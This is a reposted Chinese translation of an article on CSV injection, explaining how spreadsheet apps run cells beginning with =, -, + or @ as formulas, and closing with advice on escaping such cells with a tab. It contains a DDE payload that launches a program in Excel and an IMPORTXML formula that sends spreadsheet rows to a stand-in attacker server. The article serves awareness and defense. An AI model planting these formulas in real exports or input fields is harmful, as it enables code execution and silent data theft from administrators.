轉：[譯]CSV 注入：被人低估的巨大風險

轉：https://yq.aliyun.com/articles/225847

• 原文地址：The Absurdly Underestimated Dangers of CSV Injection
• 原文做者：georgemauer
• 譯文出自：掘金翻譯計劃
• 本文永久連接：github.com/xitu/gold-m…
• 譯者：mnikn
• 校對者：yct21，CACppuccino

本文講的是CSV 注入：被人低估的巨大風險

最近我在記錄本地用戶近期的電費時發現這個問題，有人叫我把它寫出來。

在某些方面上看來這是個舊新聞，可是從其餘的角度看。嗯，我認爲不多人意識到這個問題有有多強的破壞力，而且它能形成多大範圍的損害。對於將用戶的輸入結果和容許管理員大批量的把信息導出到 CSV 文件的應用來講，都存在着一個有效的攻擊方向。

對於每一個應用都有效。

修訂： 值得稱讚的是,這些文章指出了這個問題 一位安全專家 2014 年的文章，裏面探討了一部分攻擊方向。另一篇。

如今咱們開始正題吧 —— 設想咱們有個記錄時間或者票據的應用。用戶們能夠輸入本身的時間（或者票據）到應用中，可是不能查看其餘用戶這部分的信息。而後網站管理員把這些輸入信息導出到一個 CSV 文件，用一個電子表格應用打開它。看起來很正常。

攻擊方向 1

咱們都知道 CSV 文件是什麼。其特徵很簡單，導出來的 CSV 文件看起來像是這樣的

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240

夠簡單。裏面沒有什麼危險的東西。連 RFC 也這樣描述：

CSV 文件裏包含的文本應該不會有任何風險。

即便從定義上看，它也應該是安全的。

等下，讓咱們來試一試將 CSV 文件修改成下面內容

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240 2,2017-07-25,Important Client,"=2+5", 240

 

在 Excel 裏計算表達式在 Google Sheets 裏計算公式

 

打開自 Excel（左邊）和 Google Sheets（右邊）。

嗯。這很奇怪。雖然單元格的內容在引號內，但因爲第一個字符是 =，它以一個表達式的形式被處理。實際上 —— 至少是在 Excel 裏 —— 包括 =，-，+ 和 @ 這樣的符號都會觸發這種行爲，結果管理員發現數據的格式不正確，並所以而花大量的時間來查找緣由（正是 Excel 的這個現象引發了個人注意力）。這很奇怪，但不是很危險，不是嗎？

再等一下，表達式就是能夠執行的代碼。因此用戶能夠執行代碼 —— 雖然只是表達式代碼 —— 執行在管理員的機器上，而這臺機器裏有權限接觸用戶數據。

若是咱們把 CSV 文件改爲這樣會有什麼結果？（注意最後一行的 Description 列）

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240 2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240

若是咱們用 Excel 打開會有什麼結果？

 

計算器會打開！

 

額滴神啊！

沒錯，系統的計算器打開了。

公平的說，在此以前的確有出現過一個警告。只是這警告是一大塊文字，沒人想要讀它。即便有人想讀，它也會明確建議：

只有當你信任這個 workbook 的數據時才點擊肯定

你想知道爲何會這樣嗎？這是一個應用的導出文件，是給管理員用的。他們固然信任這些數據！

若是他們的技術很好呢？那麼更糟糕。他們知道 CSV 格式只是文本數據，所以不可能形成任何傷害。他們十分確信這一點。

就像這樣，攻擊者有無限制的權力在別人的電腦上下載鍵盤記錄，安裝東西，徹底遠程地執行代碼，並且這臺電腦若是屬於一個經理或者一間公司的管理員的話，還可能有權限接觸全部用戶的數據。我想知道在這臺電腦裏面還有別的文件能夠竊取嗎？

攻擊方向 2

好吧，以上的主要內容挺簡短，可是畢竟這是個（相對）有名的漏洞。做爲一個安全專家，可能你已經警告了全部的管理員謹慎使用 Excel，或者會考慮使用 Google Sheets 來代替它。畢竟，Sheets 不會被宏影響，不是嗎？

這徹底正確。因此咱們收回「運行任何東西」的野心上，並把注意力放在僅僅是盜取數據上。畢竟，這裏的前提是攻擊者是一個普通的用戶，他只能接觸本身輸入在系統上的數據。而一個管理員有權力看到每一個用戶的數據，咱們有什麼辦法能夠利用這一點嗎？

好好回想一下，咱們雖然不能在 Google Sheets 裏運行宏，可是咱們徹底能夠運行表達式。而且表達式不只僅限制於簡單的算術。實際上，我想問下在公式中是否有可用的 Google Sheets 命令能讓咱們把數據傳輸到其餘地方？答案是有的，有不少的方法能夠作到這一點。咱們先關注其中的一個方法IMPORTXML。

IMPORTXML(url, xpath_query)

當運行這個命令時，它會對上面的 url 發出一條 HTTP GET 請求，而後嘗試解析並把返回數據插入到咱們的電子表格。你是否是有一點想法了？

若是咱們的 CSV 文件有如下內容：

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240 2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240

攻擊者以符號 = 做爲單元格的開頭，而後把 IMPORTXML 的地址指向了一個攻擊者的服務器，並把電子表格的數據做爲查詢字符串附在該地址上。如今攻擊者能夠打開他們的服務器日誌而後 yoooooo。終於拿到了不屬於他們的數據。在 Requestb.in 上本身試一試。

有什麼蹤影會留下來嗎？沒有警告，沒有彈框，沒有任何理由認爲有出現過什麼問題。攻擊者只是輸入了一個格式過的時間／問題／其餘數據的條目，最終管理員當要看導出的 CSV 文件時，全部限制訪問的數據都會瞬間，並悄悄地傳輸出去了。

等一下，咱們能作得更過度。

表達式式是運行在管理員的瀏覽器上的，這裏面有管理員的用戶帳號和安全信息。而且 Google Sheets 並非只能操做當前電子表格的數據，實際上它能夠從 其餘電子表格 拿數據，只要用戶有接觸過這些表格就行。而攻擊者只須要知道其餘表格的 id。這些信息一般不是什麼祕密，它出如今電子表格的 url 上，一般會意外地發現電子郵件上有這些信息，或者發佈在公司內部的文檔上，經過 Google 的安全策略來確保只有受權用戶才能夠接觸這些數據。

因此說，不僅是你的導出結果／問題／其餘數據能夠溜出去。你的管理員有分別接觸過客戶列表或者工資信息的電子表格？那麼這些信息可能也能夠搞出去！一切盡在不言中，沒有人會知道發生過這些事。一顆賽艇！

固然一樣的詭計也能夠完美地運行在 Excel 上。實際上，Excel 在這方面上簡直是楷模 警方曾經利用過這個漏洞來追蹤罪犯。

但事情不必定會這樣發展。

我展現這些信息給了大量的安全研究員看，他們指出了犯罪者的各類惡做劇。例如犯罪者在他們各自的通信中植入了信息，這些信息是他們服務器的信標。這樣一來，若是研究員祕密地查看他們在電子表格上的通信信息，那麼這個信標就會熄滅，這樣犯罪者就能夠有效地逃避想要竊聽他們的人。

這很不理想。

預防

因此這一切究竟是誰的錯？

固然這不是 CSV 格式的錯。格式自己不會自動地執行「像一條公式」的東西，這不是本來就有的用法。這個 bug 依賴於經常使用的電子表格程序，是程序在實際地作錯事。固然 Google Sheets 必須和 Excel 的功能保持一致，而 Excel 必須支持已存在的數百萬個複雜的電子表格。另外 —— 我不會研究這件事 —— 但 有充分理由相信 Excel 的行爲來自於古代的 Lotus 1-2-3 的奇怪處理。目前來講讓全部的電子表格程序改變這一行爲是一大困難。我想應該把注意力轉爲改變每一個人上。

我曾向 Google 報道他們的電子表格程序有漏洞。他們認可了，可是聲稱已經意識到了這個問題。雖然我確信他們明白這是一個漏洞，但他們給我一個明顯的感受：他們並無真正考慮到在實踐中可能會被濫用的狀況。 至少在 CSV 導入並即將生成外部請求時，Google Sheets 應該發出一個警告。

可是把這件事的責任推在應用程序的開發者上也不是很實際。畢竟，大部分的開發人員沒有理由在一個簡單的業務應用裏寫了導出功能後，還會懷疑會出現這個問題。實際上，即便他們閱讀該死的 RFC 也仍然不會有任何線索來發現這個問題。

那麼你怎麼預防這件事呢？

好吧，儘管 StackOverflow 和其餘的網站提供了豐富的建議，但我發現只有一個（不在文檔內的）方法可使用在任意的電子表格程序上：

對於任何以表達式觸發字符 =，-，+或者 @ 開頭的單元格，您應該直接使用 tab 字符做爲前綴。注意，若是單元格里的內容有引號，那麼這個字符要在引號內。

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240 2,2017-07-25,Important Client," =2+5", 240

這很奇怪，可是起做用了，同時 tab 字符不會顯示在 Excel 和 Google Sheets 上。因此這就是我想要的嗎？

不幸的是，這個故事還沒完。這個字符雖然不會顯示，可是仍然存在。用 =LEN(D4) 來快速測一下字符串的長度就能夠確認這一事實。所以，在單元格的值只用來顯示，而不會被程序所使用的前提下，這是一個可接受的方案。。更進一步，有趣的是這個字符會形成奇怪的不一致。CSV 格式用在應用程序之間的信息交流上。這意味着從一個應用程序導出的轉義單元格的數據將會被另外一個應用程序導入並做爲數據的一部分。

最終咱們得出一個糟糕的結論，當生成 CSV 導出文件時，你必須知道這導出文件是用來作什麼的。

• 若是是爲了在電子表格程序中計算時的可以看到這些數據，則應使用 tab 來轉義。實際上這更重要，由於您不但願在導出到電子表格時字符串是「-2 + 3」時出現的結果爲「1」，這讓人感受就像是用編程語言解析的結果。
• 若是它被用做系統間的數據交流，那麼不要轉義任何東西。
• 若是您不知道會發生什麼事情，或者是要在電子表格應用程序中使用，或者隨後這個電子表格將被用做軟件的導入源，放棄吧，只能祈禱不會發生什麼事情了（或者，老是在使用 Excel 時斷開網絡鏈接，並在工做時遵循全部的安全提示）（修訂：這並不是 100％ 安全，由於攻擊者仍然可使用宏，讓本身的二進制文件來覆蓋已知的文件。去他的。）。

這是一場惡夢，人們能夠利用這個漏洞作些邪惡的事情，並所以而形成損失，並且尚未明確的解決方案。這個漏洞應該要讓更多更多的人知道。

原文發佈時間爲：2017年10月22日

本文來自雲棲社區合做夥伴掘金，瞭解相關信息能夠關注掘金網站。